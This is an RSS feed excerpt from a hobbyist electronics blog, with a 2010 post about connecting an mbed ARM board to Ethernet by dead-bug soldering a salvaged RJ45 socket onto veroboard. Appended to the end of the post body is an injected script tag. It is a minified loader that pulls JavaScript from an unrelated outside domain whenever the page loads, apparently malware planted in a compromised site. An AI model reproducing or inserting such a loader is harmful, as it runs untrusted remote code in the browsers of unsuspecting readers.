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	<title>Jkx@home &#187; rj45</title>
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	<description>Titanium Exposé</description>
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		<title>Mbed Ethernet connection</title>
		<link>http://www.larsen-b.com/Article/385.html</link>
		<comments>http://www.larsen-b.com/Article/385.html#comments</comments>
		<pubDate>Sun, 07 Nov 2010 14:19:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[arm]]></category>
		<category><![CDATA[mbed]]></category>
		<category><![CDATA[rj45]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=385</guid>
		<description><![CDATA[I just received my mbed module. This little ARM device is pretty cool, and the associated tools works quite nice. Of course they cost a lot of money, I received mine for free for the mbed contest. Really kool no &#8230; <a href="http://www.larsen-b.com/Article/385.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I just received my <a href="http://mbed.org">mbed</a> module. This little ARM device is pretty cool, and the associated tools works quite nice. Of course they cost a lot of money, I received mine for free for the mbed contest. Really kool no ? ;)</p>
<p>After the classic blink test, I decided to go for a network test. But I don&#8217;t have any magnetic Ethernet module right now (In fact, I should have one, but I&#8217;m unable to find it). So let&#8217;s go for a magnetic less ! <a href="http://mbed.org/cookbook/Ethernet-RJ45">The doc on the mbed dedicated page</a> say that should be fine. I decided to pull the RJ45 socket from an old broken WRT54.</p>
<p>The main issue is to figure out how to solder this RJ45 on a veroboard. Here comes the fun part, I remembered that radio-amateur use a technique called &#8220;dead bug soldering&#8221;. Check this <a href="http://workmanship.nasa.gov/lib/insp/2%20books/links/sections/303_deadbugs.html">guidelines from the NASA</a> for examples.</p>
<p>I decided to give it a try :</p>
<p><img class="alignnone" title="RJ45 dead bug" src="http://jkx.larsen-b.com/photos/blog/PA245231_resized.sized.jpg" alt="" width="640" height="489" /></p>
<p>Just glue the RJ45 on the veroboard and use a common wrapping technique : Not so bad ;)</p>
<p>The next step is to flash a <a href="http://mbed.org/users/donatien/programs/">network example</a> to test.</p>
<p>That&#8217;s really fun, the mbed works pretty well. I secretly hopes that somebody will come with a mbed like with opensource hardware and software.</p>
<p><strong>Enjoy wired networks ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
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